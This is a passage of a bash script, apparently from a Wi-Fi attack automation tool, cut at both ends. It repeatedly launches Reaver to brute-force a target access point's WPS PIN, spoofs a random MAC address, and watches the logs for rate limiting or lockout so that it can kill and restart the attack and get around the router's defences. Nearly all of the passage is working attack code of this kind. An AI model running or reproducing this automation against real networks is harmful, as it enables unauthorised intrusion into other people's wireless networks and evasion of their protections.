	echo " "
	echo -e "$info  1. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R42 == y || $USE_R42 == Y ]] && [[ $USE_LONG42 == n || $USE_LONG42 == N ]] && [[ $USE_PIN42 == n || $USE_PIN42 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME42"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL42"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP42"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX42" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY42"
echo -e "$info Reaver live time                   = $yel$LIVE42 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME42-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL42 -b $TARGETAP42 -vv -x 60 -r $RX42:$RY42 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME42-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE42-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R42 == n || $USE_R42 == N ]] && [[ $USE_LONG42 == y || $USE_LONG42 == Y ]] && [[ $USE_PIN42 == n || $USE_PIN42 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME42"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL42"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP42"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE42 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME42-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL42 -b $TARGETAP42 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME42-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE42-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R42 == y || $USE_R42 == Y ]] && [[ $USE_LONG42 == y || $USE_LONG42 == Y ]] && [[ $USE_PIN42 == n || $USE_PIN42 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME42"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL42"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP42"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX42" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY42"
echo -e "$info Reaver live time                   = $yel$LIVE42 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME42-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL42 -b $TARGETAP42 -r $RX42:$RY42 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME42-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE42-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R42 == n || $USE_R42 == N ]] && [[ $USE_LONG42 == n || $USE_LONG42 == N ]] && [[ $USE_PIN42 == y || $USE_PIN42 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME42"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL42"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP42"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE42 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME42-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL42 -b $TARGETAP42 -vv -x 60  --pin=$WPS_PIN42 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME42-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE42-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP42 (ESSID: $NMEWARN42)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME42-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME42-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME42-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME42-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

